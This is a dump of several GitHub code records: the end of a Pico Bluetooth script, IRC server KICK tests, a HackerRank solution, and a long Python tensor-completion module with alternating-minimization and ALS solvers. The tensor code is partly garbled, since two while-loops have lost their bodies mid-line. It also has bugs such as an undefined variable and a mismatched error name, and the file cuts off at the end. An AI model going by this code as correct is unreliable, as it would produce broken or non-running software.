await connect_to_device()\n await asyncio.sleep(5) # Wait for 5 seconds before retrying the connection\n\n# Run the main coroutine\nloop = asyncio.get_event_loop()\nloop.run_until_complete(main())\nloop.close()\n","repo_name":"ferrygun/raspberry-pico-webbluetooth","sub_path":"bt.py","file_name":"bt.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71663109708","text":"from testutil import *\n\n\ndef test_kick(k1):\n msg('JOIN #b')\n popall()\n\n msg('KICK #a')\n assert code() == '461' # not enough params\n\n msg('KICK #a nick')\n assert code() == '403' # no such channel\n\n msg('JOIN #a')\n popall()\n\n msg('KICK #a nick')\n assert code() == '441' # target not in chan\n\n # kick self\n msg('KICK #a test1')\n assert code() == 'KICK'\n\n msg('JOIN #a')\n msg('MODE #a -q test1')\n popall()\n msg('KICK #a test1')\n assert code() == '482' # not op\n\n\ndef test_kick_owner(k1):\n user(2)\n msg('JOIN #a')\n msg('JOIN #a', 2)\n msg('MODE #a +o test2')\n popall()\n\n msg('KICK #a test1', 2)\n assert code() == '482'\n","repo_name":"lessandro/ircd","sub_path":"ircd/tests/test_kick.py","file_name":"test_kick.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"26556916810","text":"class Solution:\n\tdef __init__(self, bill, k, b):\n\t\tself.bill = bill\n\t\tself.ne = k\n\t\tself.a_contrib = b\n\n\tdef bon_appetit(self):\n\t\tself.bill.pop(self.ne)\n\n\t\tx = self.a_contrib - sum(self.bill) // 2\n\t\treturn x if x else \"Bon Appetit\"\n\n\ntest = Solution([3, 10, 2, 9], 1, 12)\nrun = test.bon_appetit()\n\nprint(run)\n","repo_name":"Ben-Donnelly/HackerRank","sub_path":"Python/BillDivision.py","file_name":"BillDivision.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70112557387","text":"import sys, os\nimport time, random\n\nimport numpy as np\nimport pandas as pd\nimport scipy\n\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.linear_model import LinearRegression\n\nimport matplotlib.pyplot as plt\nimport wandb\n\nfrom utils import elapsed, sample_triples, normalize, orthonormalize\n\nimport pdb\n\n\nclass Tensor_completion(object):\n \n def __init__(\n self, n, rank, n_entries,\n V_x=None, V_y=None, \n V_z=None, x_vecs=None,\n y_vecs=None, z_vecs=None,\n coeffs=None, correlated=False,\n entries_arr=None, noisy=None,\n randominit=True, seed=2021,\n true_rank=None, is_clip=True\n ): \n random.seed(seed)\n np.random.seed(seed)\n self.is_clip = is_clip\n if entries_arr is None:\n self.is_clip = False\n self.n = n\n self.true_rank = true_rank or rank\n self.rank = rank\n self.dim_x, self.dim_y, self.dim_z = n\n self.entries_arr_true = np.copy(entries_arr)\n self.entries_arr = np.copy(entries_arr)\n \n self.noisy = noisy\n self.randominit = randominit\n \n self.x_vecs = None\n self.y_vecs = None\n self.z_vecs = None\n self.coeffs = None\n \n self.n_entries = n_entries\n self.correlated = correlated\n \n self.x_dict, self.y_dict, self.z_dict = {}, {}, {}\n if entries_arr is None:\n x_coords, y_coords, z_coords = sample_triples(\n n_entries, self.dim_x, self.dim_y, self.dim_z\n )\n if self.correlated:\n self.coeffs, self.x_vecs, self.y_vecs, self.z_vecs = self.gen_biased(\n self.dim_x, self.dim_y, self.dim_z, true_rank\n )\n else:\n self.coeffs, self.x_vecs, self.y_vecs, self.z_vecs = self.gen(\n self.dim_x, self.dim_y, self.dim_z, true_rank\n )\n \n self.x_vecs = x_vecs or self.x_vecs\n self.y_vecs = y_vecs or self.y_vecs\n self.z_vecs = z_vecs or self.z_vecs\n self.coeffs = coeffs or self.coeffs\n \n self.fill(\n x_coords, y_coords, z_coords,\n self.coeffs, self.x_vecs, self.y_vecs, self.z_vecs, self.x_dict\n )\n self.fill(\n y_coords, z_coords, x_coords, \n self.coeffs, self.y_vecs, self.z_vecs, self.x_vecs, self.y_dict\n )\n self.fill(\n z_coords, x_coords, y_coords, \n self.coeffs, self.z_vecs, self.x_vecs, self.y_vecs, self.z_dict\n )\n \n self.entries_arr = np.zeros((4, n_entries), dtype=np.float)\n for i, (x_coord, y_coord, z_coord) in enumerate(zip(x_coords, y_coords, z_coords)):\n self.entries_arr[0][i] = x_coord\n self.entries_arr[1][i] = y_coord\n self.entries_arr[2][i] = z_coord\n self.entries_arr[3][i] += self.x_dict[x_coord][y_coord][z_coord]\n self.entries_arr[3][i] += self.x_dict[x_coord][y_coord][z_coord]\n self.entries_arr[3][i] += self.x_dict[x_coord][y_coord][z_coord]\n self.entries_arr[3][i] /= 3\n else:\n for x_coord, y_coord, z_coord, val in zip(\n entries_arr[0], entries_arr[1], entries_arr[2], entries_arr[3]\n ):\n x_coord = int(x_coord)\n y_coord = int(y_coord)\n z_coord = int(z_coord)\n self.x_dict[x_coord] = self.x_dict.get(x_coord, None) or {}\n self.y_dict[y_coord] = self.y_dict.get(y_coord, None) or {}\n self.z_dict[z_coord] = self.z_dict.get(z_coord, None) or {}\n \n self.x_dict[x_coord][y_coord] = self.x_dict[x_coord].get(y_coord, None) or {}\n self.y_dict[y_coord][z_coord] = self.y_dict[y_coord].get(z_coord, None) or {}\n self.z_dict[z_coord][x_coord] = self.z_dict[z_coord].get(x_coord, None) or {}\n \n self.x_dict[x_coord][y_coord][z_coord] = val\n self.y_dict[y_coord][z_coord][x_coord] = val\n self.z_dict[z_coord][x_coord][y_coord] = val\n \n if noisy is not None:\n i = 0\n for x_coord, y_coord, z_coord in zip(self.entries_arr[0], self.entries_arr[1], self.entries_arr[2]):\n self.x_dict[x_coord][y_coord][z_coord] += np.random.normal(0, noisy)\n self.y_dict[y_coord][z_coord][x_coord] += np.random.normal(0, noisy)\n self.z_dict[z_coord][x_coord][y_coord] += np.random.normal(0, noisy)\n self.entries_arr[3, i] += np.random.normal(0, noisy)\n i += 1\n \n \n #Initialize starting V_x, V_y, V_z\n if randominit:\n entries_scale = np.sqrt(np.mean(self.entries_arr[3]**2))\n self.V_x = V_x or np.random.randn(rank, self.dim_x)*entries_scale**(1/3)\n self.V_y = V_y or np.random.randn(rank, self.dim_y)*entries_scale**(1/3)\n self.V_z = V_z or np.random.randn(rank, self.dim_z)*entries_scale**(1/3)\n else:\n self.V_x = V_x or self.initialization(self.y_dict, nz=self.dim_x)\n self.V_y = V_y or self.initialization(self.z_dict, nz=self.dim_y)\n self.V_z = V_z or self.initialization(self.x_dict, nz=self.dim_z)\n \n #Compute initial subspace estimates\n def initialization(self, x_dict, nz):\n r = self.rank\n p = min(float(self.n_entries / (self.dim_x*self.dim_y*self.dim_z)), 1.)\n M_x = np.zeros((nz,nz))\n for x in x_dict.keys():\n for y in x_dict[x].keys():\n for z1 in x_dict[x][y].keys():\n for z2 in x_dict[x][y].keys():\n val = x_dict[x][y][z1] * x_dict[x][y][z2]\n if(z1 == z2):\n val = val/p\n else:\n val = val/(p*p)\n M_x[z1][z2] += val\n svd = TruncatedSVD(n_components=r)\n svd.fit(M_x)\n return(svd.components_)\n \n def gen(self, nx, ny, nz, rank):\n coeffs = np.ones(rank)\n x_vecs = np.random.normal(0,1,(rank,nx))\n y_vecs = np.random.normal(0,1,(rank,ny))\n z_vecs = np.random.normal(0,1,(rank,nz))\n return (coeffs, x_vecs, y_vecs, z_vecs)\n\n def gen_biased(self, nx, ny, nz, rank):\n \"\"\"Generate random correlated tensor\"\"\"\n coeffs = np.zeros(rank)\n x_vecs = np.zeros((rank,nx))\n y_vecs = np.zeros((rank,ny))\n z_vecs = np.zeros((rank,nz))\n for i in range(rank):\n coeffs[i] = 0.5**i\n if(i==0):\n x_vecs[i] = np.sqrt(nx) * normalize(np.random.normal(0,1,nx))\n y_vecs[i] = np.sqrt(ny) * normalize(np.random.normal(0,1,ny))\n z_vecs[i] = np.sqrt(nz) * normalize(np.random.normal(0,1,nz))\n else:\n x_vecs[i] = np.sqrt(nx) * normalize(np.random.normal(0,0.5,nx) + x_vecs[0])\n y_vecs[i] = np.sqrt(ny) * normalize(np.random.normal(0,0.5,ny) + y_vecs[0])\n z_vecs[i] = np.sqrt(nz) * normalize(np.random.normal(0,0.5,nz) + z_vecs[0])\n return (coeffs, x_vecs,y_vecs,z_vecs)\n \n def T(self, i,j,k, coeffs, x_vecs, y_vecs, z_vecs):\n \"\"\"Evaluate tensor given coordinates\"\"\"\n ans = 0\n rank = len(x_vecs)\n for a in range(rank):\n ans += coeffs[a] * x_vecs[a][i] * y_vecs[a][j] * z_vecs[a][k]\n return ans\n\n def fill(self, x_coords, y_coords, z_coords, coeffs, x_vecs, y_vecs, z_vecs, x_dict):\n n_entries = x_coords.size\n for i in range(n_entries):\n #For x_dict coordinates are in order x,y,z\n if(x_coords[i] in x_dict.keys()):\n if(y_coords[i] in x_dict[x_coords[i]].keys()):\n if(z_coords[i] in x_dict[x_coords[i]][y_coords[i]].keys()):\n pass\n else:\n x_dict[x_coords[i]][y_coords[i]][z_coords[i]] = self.T(\n x_coords[i], y_coords[i], z_coords[i], coeffs,x_vecs, y_vecs, z_vecs\n )\n else:\n x_dict[x_coords[i]][y_coords[i]] = {}\n x_dict[x_coords[i]][y_coords[i]][z_coords[i]]= self.T(\n x_coords[i], y_coords[i], z_coords[i], coeffs, x_vecs, y_vecs, z_vecs\n )\n else:\n x_dict[x_coords[i]] = {}\n x_dict[x_coords[i]][y_coords[i]] = {}\n x_dict[x_coords[i]][y_coords[i]][z_coords[i]] = self.T(\n x_coords[i], y_coords[i] , z_coords[i], coeffs, x_vecs, y_vecs, z_vecs\n )\n \n def get_entries(self, n_entries):\n if self.x_vecs is None or self.y_vecs is None or self.z_vecs is None or self.coeffs is None:\n raise NotImplementedError()\n x_coords, y_coords, z_coords = sample_triples(n_entries, self.dim_x, self.dim_y, self.dim_z)\n entries = np.empty((4, n_entries), dtype=np.float)\n for i, (x_coord, y_coord, z_coord) in enumerate(zip(x_coords, y_coords, z_coords)):\n entries[0][i] = x_coord\n entries[1][i] = y_coord\n entries[2][i] = z_coord\n entries[3][i] = self.T(x_coord, y_coord, z_coord, self.coeffs, self.x_vecs, self.y_vecs, self.z_vecs)\n \n return entries\n \n def fit(self):\n raise NotImplementedError()\n \n @staticmethod\n def predict(self, solution, idx_frames):\n raise NotImplementedError()\n\n\nclass LM_completion(Tensor_completion):\n\n def subspace_altmin(self, V_x, V_y, V_z , x_dict, nx, ny, nz):\n \"\"\"Altmin for our algorithm\"\"\"\n lsq_solution = []\n for i in range(nx):\n features = []\n target = []\n for y_coord in x_dict[i].keys():\n for z_coord in x_dict[i][y_coord].keys():\n #subsample to speed up and get \"unstuck\"\n check = np.random.randint(2)\n if(check == 0):\n features.append(np.tensordot(V_y[y_coord], V_z[z_coord] , axes = 0).flatten())\n target.append(x_dict[i][y_coord][z_coord])\n features = np.array(features)\n target = np.array(target)\n reg = LinearRegression(fit_intercept = False).fit(features,target)\n lsq_solution.append(reg.coef_)\n lsq_solution = np.transpose(np.array(lsq_solution))\n svd = TruncatedSVD(n_components=self.rank)\n svd.fit(lsq_solution)\n return(np.transpose(svd.components_))\n\n def eval_error_subspace(self, V_x,V_y,V_z, x_dict, test_entries):\n \"\"\"Normalized MSE for our algorithm\"\"\"\n nx, ny, nz = self.n\n features = []\n target = []\n \n #Find coefficients in V_x x V_y x V_z basis\n for x_coord in x_dict.keys():\n for y_coord in x_dict[x_coord].keys():\n for z_coord in x_dict[x_coord][y_coord].keys():\n #speed up by using less entries\n check = np.random.randint(10)\n if(check == 0):\n target.append(x_dict[x_coord][y_coord][z_coord])\n part = np.tensordot(V_x[x_coord], V_y[y_coord], axes = 0).flatten()\n full = np.tensordot(part, V_z[z_coord],axes = 0).flatten()\n features.append(full)\n features = np.array(features)\n target = np.array(target)\n reg = LinearRegression(fit_intercept = False).fit(features, target)\n solution_coeffs = reg.coef_\n\n #Evaluate RMS error\n num_test_entries = test_entries.shape[1]\n total_error = 0\n total_norm = 0\n for i in range(num_test_entries):\n x = int(test_entries[0, i])\n y = int(test_entries[1, i])\n z = int(test_entries[2, i])\n part = np.tensordot(V_x[x], V_y[y], axes = 0).flatten()\n feature = np.tensordot(part, V_z[z], axes = 0).flatten()\n prediction = np.dot(feature, solution_coeffs)\n if self.is_clip:\n prediction = np.clip(prediction, 0, 256)\n true_val = test_entries[3, i] \n total_norm += np.square(true_val)\n total_error += np.square(prediction - true_val)\n \n rse = np.sqrt(total_error/total_norm)\n mse = total_error / num_test_entries\n rmse = np.sqrt(total_error / num_test_entries)\n psnr = 20*np.log10(np.max(np.abs(test_entries[3]))) - 10*np.log10(mse)\n return rse, mse, rmse, psnr\n \n def predict_entries(self, entries, V_x=None, V_y=None, V_z=None):\n nx, ny, nz = self.n\n features = []\n target = []\n x_dict = self.x_dict\n V_x = V_x or np.transpose(self.V_x)\n V_y = V_y or np.transpose(self.V_y)\n V_z = V_z or np.transpose(self.V_z)\n \n #Find coefficients in V_x x V_y x V_z basis\n for x_coord in x_dict.keys():\n for y_coord in x_dict[x_coord].keys():\n for z_coord in x_dict[x_coord][y_coord].keys():\n #speed up by using less entries\n check = np.random.randint(10)\n if(check == 0):\n target.append(x_dict[x_coord][y_coord][z_coord])\n part = np.tensordot(V_x[x_coord], V_y[y_coord], axes = 0).flatten()\n full = np.tensordot(part, V_z[z_coord],axes = 0).flatten()\n features.append(full)\n features = np.array(features)\n target = np.array(target)\n reg = LinearRegression(fit_intercept = False).fit(features, target)\n solution_coeffs = reg.coef_\n \n num_entries = entries.shape[1]\n pred = np.empty_like(entries[0], dtype=np.float)\n for i in range(num_test_entries):\n x = int(entries[0, i])\n y = int(entries[1, i])\n z = int(entries[2, i])\n part = np.tensordot(V_x[x], V_y[y], axes = 0).flatten()\n feature = np.tensordot(part, V_z[z], axes = 0).flatten()\n pred[i] = np.dot(feature, solution_coeffs)\n if self.is_clip:\n pred = np.clip(pred, 0, 256)\n return pred\n \n @staticmethod\n def get_coeffs(V_x, V_y, V_z, x_dict, n):\n nx, ny, nz = n\n features = []\n target = []\n \n #Find coefficients in V_x x V_y x V_z basis\n for x_coord in x_dict.keys():\n for y_coord in x_dict[x_coord].keys():\n for z_coord in x_dict[x_coord][y_coord].keys():\n #speed up by using less entries\n check = np.random.randint(10)\n if(check == 0):\n target.append(x_dict[x_coord][y_coord][z_coord])\n part = np.tensordot(V_x[x_coord], V_y[y_coord], axes = 0).flatten()\n full = np.tensordot(part, V_z[z_coord],axes = 0).flatten()\n features.append(full)\n features = np.array(features)\n target = np.array(target)\n reg = LinearRegression(fit_intercept = False).fit(features, target)\n solution_coeffs = reg.coef_\n return solution_coeffs\n \n @staticmethod\n def recover_frame(idx_frame, sol_coeffs, V_x, V_y, V_z, is_clip):\n nx, ny, nz = V_x.shape[0], V_y.shape[0], V_z.shape[0]\n pred = np.empty((ny, nz), dtype=np.float32)\n for i in range(ny):\n for j in range(nz):\n part = np.tensordot(V_x[idx_frame], V_y[i], axes = 0).flatten()\n feature = np.tensordot(part, V_z[j], axes = 0).flatten()\n pred[i, j] = np.dot(feature, sol_coeffs)\n if is_clip:\n pred = np.clip(pred, 0, 256)\n return pred\n\n def fit(\n self, max_iter, test_entries, \n val_entries=None, threshold=1e-6,\n logger=None, inplace=False,\n rank=None, **kwargs\n ):\n nx, ny, nz = self.n\n rank = self.rank\n n_entries = self.n_entries\n \n V_x = np.copy(self.V_x)\n V_y = np.copy(self.V_y)\n V_z = np.copy(self.V_z)\n \n x_dict, y_dict, z_dict = self.x_dict, self.y_dict, self.z_dict\n\n V_x = orthonormalize(V_x)\n V_y = orthonormalize(V_y)\n V_z = orthonormalize(V_z)\n V_x = np.transpose(V_x)\n V_y = np.transpose(V_y)\n V_z = np.transpose(V_z)\n\n V_xmat = np.random.normal(0,1, (rank, nx))\n V_yzmat = np.random.normal(0,1, (rank, ny*nz))\n V_xmat = orthonormalize(V_xmat)\n V_yzmat = orthonormalize(V_yzmat)\n V_xmat = np.transpose(V_xmat)\n V_yzmat = np.transpose(V_yzmat)\n \n V_x_best = np.copy(V_x)\n V_y_best = np.copy(V_y)\n V_z_best = np.copy(V_z)\n best_error = 100\n curr_error = 1\n execution_time = 0\n \n #AltMin Steps\n for i in range(max_iter):\n elapsed()\n if(curr_error > threshold):\n V_x = self.subspace_altmin(V_x, V_y, V_z, x_dict, nx, ny, nz)\n V_y = self.subspace_altmin(V_y, V_z, V_x, y_dict, ny, nz, nx)\n V_z = self.subspace_altmin(V_z, V_x, V_y, z_dict, nz, nx, ny)\n if val_entries is not None:\n val_errors = self.eval_error_subspace(V_x,V_y,V_z, x_dict, val_entries)\n val_error = val_errors[0]\n val_logs = {\n \"val rse\":val_errors[0],\n \"val mse\":val_errors[1],\n \"val rmse\":val_errors[2],\n \"val psnr\":val_errors[3],\n }\n curr_errors = self.eval_error_subspace(V_x,V_y,V_z, x_dict, test_entries)\n test_logs = {\n \"test rse\":curr_errors[0],\n \"test mse\":curr_errors[1],\n \"test rmse\":curr_errors[2],\n \"test psnr\":curr_errors[3],\n }\n cur_error = curr_errors[0]\n \n if val_entries is not None and best_error > val_error:\n best_error = val_error\n V_x_best, V_y_best, V_z_best = np.copy(V_x), np.copy(V_y), np.copy(V_z)\n \n if logger is not None:\n logger.log(test_logs, step=i)\n if val_entries is not None:\n logger.log(val_logs, step=i)\n execution_time += elapsed()\n logger.log({\"execution time\": execution_time}, step=i)\n \n if val_entries is not None:\n coeffs = self.get_coeffs(V_x_best, V_y_best, V_z_best, x_dict, self.n)\n if inplace:\n self.V_x = np.transpose(V_x_best)\n self.V_y = np.transpose(V_y_best)\n self.V_z = np.transpose(V_z_best)\n return V_x_best, V_y_best, V_z_best, coeffs\n \n if inplace:\n self.V_x = np.transpose(V_x)\n self.V_y = np.transpose(V_y)\n self.V_z = np.transpose(V_z)\n \n coeffs = self.get_coeffs(V_x, V_y, V_z, x_dict, self.n)\n return V_x, V_y, V_z, coeffs\n \n def predict(self, solution, idx_frames):\n V_x, V_y, V_z, coeffs = solution\n recovered_frames = []\n for idx_frame in idx_frames:\n recovered_frames.append(LM_completion.recover_frame(idx_frame, coeffs, V_x, V_y, V_z, is_clip=self.is_clip))\n return recovered_frames\n \n\nclass ALS_NN(Tensor_completion):\n \n @staticmethod\n def aul_f_sp(X, Y, Z, n, m, u, mu, entries = None):\n \"\"\"Computes the value of a score function \n ||x||^2+||y||^2||z||^2 - u*(T - T_rec)_omega+(1/(2*mu))*||T - T_rec||^2\n\n returns nuc_norm_val, funct_obj, constr_violation\n \"\"\"\n val_n = 0\n val_n += np.sum(X**2);\n val_n += np.sum(np.sum(Y**2, axis = 1) * np.sum(Z**2, axis = 1) )\n \n num_entries = entries.shape[1]\n entries_i = np.asarray(entries[:3, :], dtype = int)\n ent = - entries[3]\n m_arr = np.array(range(m))\n tmp = Y[m_arr[np.newaxis, :], (entries_i[1])[:, np.newaxis]]* \\\n X[m_arr[np.newaxis, :], (entries_i[0])[:, np.newaxis]]* \\\n Z[m_arr[np.newaxis, :], (entries_i[2])[:, np.newaxis]]\n ent += np.sum(tmp, axis = 1)\n val = val_n + np.sum( (1/(2*mu))* ent**2-u*ent) \n return (val, np.sqrt(np.sum(ent**2)), val_n/2)\n \n @staticmethod\n def fix_components(X, Y, Z, n, m):\n \"\"\"\n Scales the components so that ||X_i|| = ||Y_i||*||Z_i||\n \"\"\"\n nx, ny, nz = n\n for i in range(m):\n norm_x = np.sqrt(np.sqrt(np.sum(X[i]**2)))\n norm_yz = np.sqrt(np.sqrt(np.sum(Y[i]**2)*np.sum(Z[i]**2)))\n if (norm_x>1e-8) and (norm_yz>1e-8):\n X[i] = X[i]*(norm_yz/norm_x)\n Y[i] = Y[i]*np.sqrt(norm_x/norm_yz)\n Z[i] = Z[i]*np.sqrt(norm_x/norm_yz)\n return (X, Y, Z)\n \n @staticmethod\n def eval_error_direct_fast(X, Y, Z, n, m, entries, is_clip):\n nx, ny, nz = n\n total_error = 0\n total_norm = 0\n num_entries = entries.shape[1]\n entries_i = np.asarray(entries[:3, :], dtype = int)\n ent = - entries[3]\n m_arr = np.array(range(m))\n \n #entries of approx tensor from X, Y, Z\n tmp = Y[m_arr[np.newaxis, :], (entries_i[1])[:, np.newaxis]]* \\\n X[m_arr[np.newaxis, :], (entries_i[0])[:, np.newaxis]]* \\\n Z[m_arr[np.newaxis, :], (entries_i[2])[:, np.newaxis]]\n pred = np.sum(tmp, axis=1)\n if is_clip:\n pred = np.clip(pred, 0, 256)\n error = ent + pred\n total_error = np.sqrt(np.sum(error**2))\n total_norm = np.sqrt(np.sum(entries[3]**2))\n \n rse = total_error / total_norm\n mse = np.mean(error**2)\n rmse = total_error / np.sqrt(num_entries)\n psnr = 20*np.log10(np.max(np.abs(entries[-1]))) - 10*np.log10(mse)\n \n return rse, mse, rmse, psnr\n \n @staticmethod\n def reg_fast_update_x(X, Y, Z, n, m, u, mu, entries_a, num_entries, lam = 1.0):\n entries = np.asarray(entries_a[:3, :], dtype = int)\n entries_val = entries_a[3]\n nx, ny, nz = n\n XT = X.T\n for r in range(nx):\n mask = (entries[0] == r)\n entries_r = entries[:, mask]\n entries_val_r = entries_val[mask]\n num_entries_r = entries_r.shape[1]\n num_sampl = num_entries_r + m\n num_feat = m \n \n B = np.zeros(num_sampl)\n M_entr1 = np.sqrt(2*mu*lam) * np.eye(m)\n \n m_arr = np.array(range(m))\n M_entr2 = Y[m_arr[np.newaxis,:], (entries_r[1])[:, np.newaxis]] * Z[m_arr[np.newaxis,:], (entries_r[2])[:, np.newaxis]]\n \n \n B[m : ] = entries_val_r + mu*u[mask]\n \n M = np.vstack((M_entr1, M_entr2))\n \n res = scipy.sparse.linalg.lsmr(M, B)\n XT[r] = res[0]\n X = XT.T\n return X\n \n @staticmethod\n def reg_fast_update_y(X, Y, Z, n, m, u, mu, entries_a, num_entries, lam = 1.0):\n entries = np.asarray(entries_a[:3, :], dtype = int)\n entries_val = entries_a[3]\n nx, ny, nz = n\n YT = Y.T\n for r in range(ny):\n mask = (entries[1] == r)\n entries_r = entries[:, mask]\n entries_val_r = entries_val[mask]\n num_entries_r = entries_r.shape[1]\n num_sampl = num_entries_r + m\n num_feat = m \n \n B = np.zeros(num_sampl)\n M_entr1 = np.eye(m)\n for i in range(m):\n M_entr1[i, i] *= np.sqrt(2 * mu * lam * np.sum(Z[i]**2))\n \n m_arr = np.array(range(m))\n M_entr2 = X[m_arr[np.newaxis,:], (entries_r[0])[:, np.newaxis]] * Z[m_arr[np.newaxis,:], (entries_r[2])[:, np.newaxis]]\n \n \n B[m : ] = entries_val_r + mu*u[mask]\n \n M = np.vstack((M_entr1, M_entr2))\n \n res = scipy.sparse.linalg.lsmr(M, B)\n YT[r] = res[0]\n Y = YT.T\n return Y\n \n @staticmethod\n def reg_fast_update_z(X, Y, Z, n, m, u, mu, entries_a, num_entries, lam = 1.0):\n entries = np.asarray(entries_a[:3, :], dtype = int)\n entries_val = entries_a[3]\n nx, ny, nz = n\n ZT = Z.T\n for r in range(nz):\n mask = (entries[2] == r)\n entries_r = entries[:, mask]\n entries_val_r = entries_val[mask]\n num_entries_r = entries_r.shape[1]\n num_sampl = num_entries_r + m\n num_feat = m \n \n B = np.zeros(num_sampl)\n M_entr1 = np.eye(m)\n for i in range(m):\n M_entr1[i, i] *= np.sqrt(2 * mu * lam * np.sum(Y[i]**2))\n \n m_arr = np.array(range(m))\n M_entr2 = Y[m_arr[np.newaxis,:], (entries_r[1])[:, np.newaxis]] * X[m_arr[np.newaxis,:], (entries_r[0])[:, np.newaxis]]\n \n \n B[m : ] = entries_val_r+mu*u[mask]\n \n M = np.vstack((M_entr1, M_entr2))\n \n res = scipy.sparse.linalg.lsmr(M, B)\n ZT[r] = res[0]\n Z = ZT.T\n return Z\n \n @staticmethod\n def compute_adjust_sp(X, Y, Z, n, m, mu, u, entries_a):\n \"\"\"Adjusts u vector for Lagrangian\"\"\"\n entries = np.asarray(entries_a[:3, :], dtype = int)\n entries_val = entries_a[3]\n num_entries = entries.shape[1]\n y = np.zeros(num_entries)\n total_err = 0\n for i in range(num_entries):\n val = - entries_val[i]\n for j in range(m):\n val += Y[j, entries[1, i]]*X[j, entries[0, i]]*Z[j, entries[2, i]]\n total_err += val**2\n y[i] = u[i] - val/mu\n return (y, np.sqrt(total_err))\n \n def run_minimization(\n self, test_entries, \n val_entries=None, threshold=1e-6,\n inplace=False, mu=1.0,\n tau=0.1, max_global_iter=30, \n max_iter=1000, logger=None, lam=1.0,\n fix_mu=False, momentum=None\n ):\n nx, ny, nz = self.n\n m = self.rank\n n = self.n\n num_entries = self.n_entries\n \n X = np.copy(self.V_x)\n Y = np.copy(self.V_y)\n Z = np.copy(self.V_z)\n \n X_best = X\n Y_best = Y\n Z_best = Z\n best_error = 100\n \n mu = mu\n nu = 1.0\n \n global_iter = 0\n it = 0\n\n coef = 10.0\n power = 0.0\n u = np.zeros(num_entries)\n entries_a = self.entries_arr\n execution_time = 0\n\n while global_iter val_rse:\n X_best = np.copy(X)\n Y_best = np.copy(Y)\n Z_best = np.copy(Z)\n \n if logger is not None:\n logger.log(logs, step=it)\n \n\n stop_condition = (\n (small_step>5+10*global_iter) or (it>=max_iter) \n or (\n (small_step >= 5) and \n (\n (progress>=1.2*new_progress) or (new_progress<0.01*np.abs(score/(global_iter+1)))\n )\n )\n )\n \n if (lam>0): \n X, Y, Z = ALS_NN.fix_components(X, Y, Z, n, m)\n u_new, err = ALS_NN.compute_adjust_sp(X, Y, Z, n, m, mu, u, entries_a)\n if (err < nu):\n if (lam>0.0):\n u = u_new\n power += 1\n else: \n mu = mu * tau\n power = 1\n global_iter += 1\n \n if fix_mu:\n mu = max(mu, 0.001)\n nu = coef * mu**(0.1 + 0.2*power)\n \n return X_best, Y_best, Z_best\n\n\n def run_min_balanced(\n self, test_entries, \n val_entries=None, threshold=1e-6,\n inplace=False, mu=1.0,\n tau=0.1, max_global_iter=30, \n max_iter=1000, logger=None, lam=1.0,\n fix_mu=False, momentum=None\n ):\n nx, ny, nz = self.n\n n = self.n\n m = self.rank\n num_entries = self.n_entries\n \n X = np.copy(self.V_x)\n Y = np.copy(self.V_y)\n Z = np.copy(self.V_z)\n \n X_best = X\n Y_best = Y\n Z_best = Z\n best_error = 100\n \n mu = mu\n nu = 1.0\n \n global_iter = 0\n it = 0\n\n coef = 10.0\n power = 0.0\n u = np.zeros(num_entries)\n entries_a = self.entries_arr\n execution_time = 0\n \n while global_iter0): \n X, Y, Z = ALS_NN.fix_components(X, Y, Z, n, m)\n new_score, err_obs, nuc_norm = ALS_NN.aul_f_sp(X, Y, Z, n, m, u, mu, entries = entries_a)\n new_progress = score - new_score\n score = new_score\n small_step += 1\n test_rse, test_mse, test_rmse, test_psnr = ALS_NN.eval_error_direct_fast(\n X, Y, Z, n, m, test_entries, is_clip=self.is_clip\n )\n if val_entries is not None:\n val_rse, val_mse, val_rmse, val_psnr = ALS_NN.eval_error_direct_fast(\n X, Y, Z, n, m, val_entries, is_clip=self.is_clip\n )\n \n execution_time += elapsed()\n logs = {\n \"mu\": mu,\n \"train error\": err_obs,\n \"nuc.norm\": nuc_norm,\n \"test rse\": test_rse,\n \"test mse\": test_mse,\n \"test rmse\": test_rmse,\n \"test psnr\": test_psnr,\n \"execution time\": execution_time,\n }\n \n if val_entries is not None:\n logs.update({\n \"val rse\": val_rse,\n \"val mse\": val_mse,\n \"val rmse\": val_rmse,\n \"val psnr\": val_psnr\n })\n if best_error > val_rse:\n X_best = np.copy(X)\n Y_best = np.copy(Y)\n Z_best = np.copy(Z)\n \n if logger is not None:\n logger.log(logs, step=it)\n\n stop_condition = (\n (small_step>5+10*global_iter) \n or (it>=max_iter) \n or (\n (small_step >= 5) and (\n (progress>=1.2*new_progress) or (new_progress<0.01*np.abs(score/(global_iter+1)))\n )\n )\n )\n #update u and mu\n u_new, err = ALS_NN.compute_adjust_sp(X, Y, Z, n, m, mu, u, entries_a)\n if (err_obs > nu) and (power<6):\n if (lam>0.0):\n u = u_new\n power += 1\n else:\n mu_new = 0.5*err_obs/(nuc_norm*(global_iter+1)**1.3)\n if momentum is not None:\n mu = momentum*mu_new + (1-momentum)*mu \n if fix_mu:\n mu = max(mu_new, 0.001)\n power = 1\n global_iter += 1\n nu = err*5\n\n return X_best, Y_best, Z_best\n \n def fit(\n self, test_entries, \n val_entries=None, threshold=1e-6,\n inplace=False, mu=1.0,\n tau=0.1, max_global_iter=30, \n max_iter=1000, logger=None, lam=1.0,\n which_alg=\"balanced\", fix_mu=False,\n momentum=None, **kwargs\n ):\n res = None\n if which_alg==\"balanced\":\n res = self.run_min_balanced(\n test_entries=test_entries, val_entries=val_entries, \n threshold=threshold,\n inplace=inplace, mu=mu, tau=tau,\n max_global_iter=max_global_iter,\n max_iter=max_iter,\n logger=logger, lam=lam,\n fix_mu=fix_mu, momentum=momentum\n )\n elif which_alg==\"vanilla\":\n res = self.run_minimization(\n test_entries=test_entries, val_entries=val_entries, \n threshold=threshold,\n inplace=inplace, mu=mu, tau=tau,\n max_global_iter=max_global_iter,\n max_iter=max_iter,\n logger=logger, lam=lam\n )\n return res\n \n def predict(self, solution, idx_frames):\n X, Y, Z = solution\n ny = Y.shape[1]\n nz = Z.shape[1]\n rank = Y.shape[0]\n frames = np.zeros(len(idx_frames) * ny * nz)\n for i in range(rank):\n tmp = np.kron(Y[i], Z[i])\n frames += np.kron(X[i][idx_frames], tmp)\n \n if self.is_clip:\n frames = np.clip(frames, 0, 256)\n \n return frames.reshape(len(idx_frames), ny, 